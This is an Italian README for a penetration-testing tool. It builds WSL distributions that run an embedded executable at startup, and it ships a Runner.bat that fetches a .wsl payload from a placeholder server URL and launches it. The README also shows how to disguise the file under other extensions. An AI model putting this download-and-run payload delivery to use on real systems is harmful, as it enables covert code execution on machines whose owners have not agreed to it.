
Un potente script shell per creare distribuzioni WSL (Windows Subsystem for Linux) personalizzate con payload integrati.
Questo strumento è destinato a ricerche di sicurezza legittime e test di penetrazione. Gli utenti sono responsabili di garantire di avere la dovuta autorizzazione prima di testare sistemi che non possiedono o per cui non hanno un permesso esplicito.
Uno script shell per creare distribuzioni WSL (Windows Subsystem for Linux) minime con payload incorporati. Questo strumento automatizza il processo di creazione di distribuzioni WSL basate su Alpine Linux in grado di eseguire payload personalizzati all'avvio.
Lo script Build_WSL_Payload.sh scarica l'ultima rootfs di Alpine Linux, la personalizza per l'uso con WSL, incorpora un eseguibile specificato dall'utente e impacchetta tutto in un file .wsl distribuibile.
Runner.bat scaricherà il file di configurazione WSL dall'URL fornito e lo avvierà (installerà wsl se non presente e se sono disponibili diritti di amministratore)
Ciò è particolarmente utile per i test di penetrazione, la ricerca sulla sicurezza e la creazione di ambienti WSL personalizzati.
-N, --name: Specifica il nome predefinito della distribuzione per WSL-P, --payload: Specifica il percorso del file eseguibile del payload-H, --help: Mostra il menu di aiuto# Build a WSL distribution named "CalcWSL" with a custom payload
./Build_WSL_Payload.sh -N CalcWSL -P ./Calc.exe
Opzione 1. Doppio clic - Fare doppio clic sul file WSL eseguirà il payload ma aprirà anche un prompt dei comandi che deve essere chiuso manualmente. (Non consigliato)
Opzione 2. Usare il file Runner.bat
C:\Users\USER_NAME> .\Runner.bat
Lo script Runner.bat automaticamente:
Modifica le variabili all'inizio di Runner.bat per personalizzare:
set "DOWNLOAD_URL=https://your-server.com/payload.wsl"
set "WSL_FILE=payload.log" # Still testing but can use most file extensions here.
Questo progetto è stato ispirato e si basa sulla ricerca e sulle tecniche documentate nel repository dmcxblue/WSL-Payloads, che offre preziosi spunti sulla weaponizzazione del formato file WSL e sulla ricerca sulla sicurezza.
Licenza MIT
Con la presente si concede gratuitamente a chiunque ottenga una copia di questo software e dei relativi file di documentazione (il "Software"), il permesso di utilizzare il Software senza restrizioni, inclusi, senza limitazione, i diritti di usare, copiare, modificare, unire, pubblicare, distribuire, concedere in sottolicenza e/o vendere copie del Software, e di consentire alle persone a cui il Software è fornito di fare altrettanto, alle seguenti condizioni:
L'avviso di copyright sopra riportato e questo avviso di permesso dovranno essere inclusi in tutte le copie o parti sostanziali del Software.
IL SOFTWARE È FORNITO "COSÌ COM'È", SENZA GARANZIE DI ALCUN TIPO, ESPRESSE O IMPLICITE, INCLUSO MA NON LIMITATO ALLE GARANZIE DI COMMERCIABILITÀ, IDONEITÀ PER UN PARTICOLARE SCOPO E NON VIOLAZIONE. IN NESSUN CASO GLI AUTORI O I TITOLARI DEL COPYRIGHT SARANNO RESPONSABILI PER QUALSIASI RECLAMO, DANNO O ALTRA RESPONSABILITÀ, SIA IN UN'AZIONE DI CONTRATTO, ILLECITO O ALTRO, DERIVANTE DA, FUORI O IN CONNESSIONE CON IL SOFTWARE O L'USO O ALTRE OPERAZIONI NEL SOFTWARE.